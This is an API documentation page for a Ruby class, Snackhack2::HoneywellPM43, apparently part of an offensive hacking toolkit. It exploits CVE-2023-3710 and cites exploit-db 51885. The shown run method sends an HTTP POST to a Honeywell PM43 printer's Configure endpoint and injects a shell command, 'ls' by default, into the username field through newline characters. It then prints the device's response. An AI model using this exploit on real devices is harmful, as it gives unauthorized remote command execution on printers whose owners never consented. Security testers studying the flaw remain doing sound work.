Class: Snackhack2::HoneywellPM43

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/Honeywell_PM43.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(site, command: 'ls', save_file: true) ⇒ HoneywellPM43

Returns a new instance of HoneywellPM43.



10
11
12
13
# File 'lib/snackhack2/Honeywell_PM43.rb', line 10

def initialize(site, command: 'ls', save_file: true)
  @site = site
  @command = command
end

Instance Attribute Details

#commandObject

CVE-2023-3710 Source: www.exploit-db.com/exploits/51885



8
9
10
# File 'lib/snackhack2/Honeywell_PM43.rb', line 8

def command
  @command
end

Instance Method Details

#runObject



15
16
17
18
19
20
21
22
23
# File 'lib/snackhack2/Honeywell_PM43.rb', line 15

def run
  pp = HTTParty.post(File.join(@site, 'loadfile.lp?pageid=Configure'),
                     body: "username=x%0a#{@command}%0a&userpassword=1")
  if pp.code == 200
    puts pp
  else
    puts "[+] Status Code: #{pp.code}"
  end
end